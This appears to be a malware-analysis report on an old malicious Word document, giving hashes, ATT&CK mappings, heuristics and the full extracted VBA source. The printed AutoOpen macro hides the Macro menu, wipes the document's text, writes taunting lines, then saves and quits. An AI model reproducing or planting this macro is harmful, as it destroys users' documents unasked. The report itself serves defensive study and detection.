Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95faac14dfad99f1…

MALICIOUS

Office (OLE)

42.0 KB Created: 2006-03-16 19:14:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 048d53a0fdee69faba06242168939501 SHA-1: 11f04f85ee6f15bd1c5c4018770d5c79bd564d11 SHA-256: 95faac14dfad99f19bcdf11a68555eb1a0b0397b3072ad44bc177b8b705deb34
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The script attempts to manipulate the document's appearance and then forcefully closes the application after saving, indicating a malicious intent to disrupt the user or hide its execution. The legacy WordBasic AutoExec marker also suggests older macro-based attack vectors.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1182 bytes
SHA-256: d990a841d36916d8a1047bf84dcd9f7336b6b605bd93a11dd583ccc2b1b3a8cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Public Sub AutoOpen()
'
' AutoOpen Macro
' FeRvO sAnTi

CommandBars("Tools").Controls("Macro").Visible = False


   
    Selection.MoveUp Unit:=wdLine, Count:=4
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    Selection.Font.Color = wdColorOrange
    Selection.Font.Bold = wdToggle
    Selection.TypeText Text:="JA, JA, JA, JA, JA,JA...!!!!"
    Selection.TypeParagraph
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    Selection.Font.Color = wdColorOrange
    Selection.Font.Bold = wdToggle
    Selection.TypeText Text:="NUNCA SABRÁS CUÁNTO TE QUISE..."
    Selection.TypeParagraph
    Selection.TypeText Text:="FERVO"
    ActiveDocument.Save
    ActiveWindow.Close
    Application.Quit

End Sub

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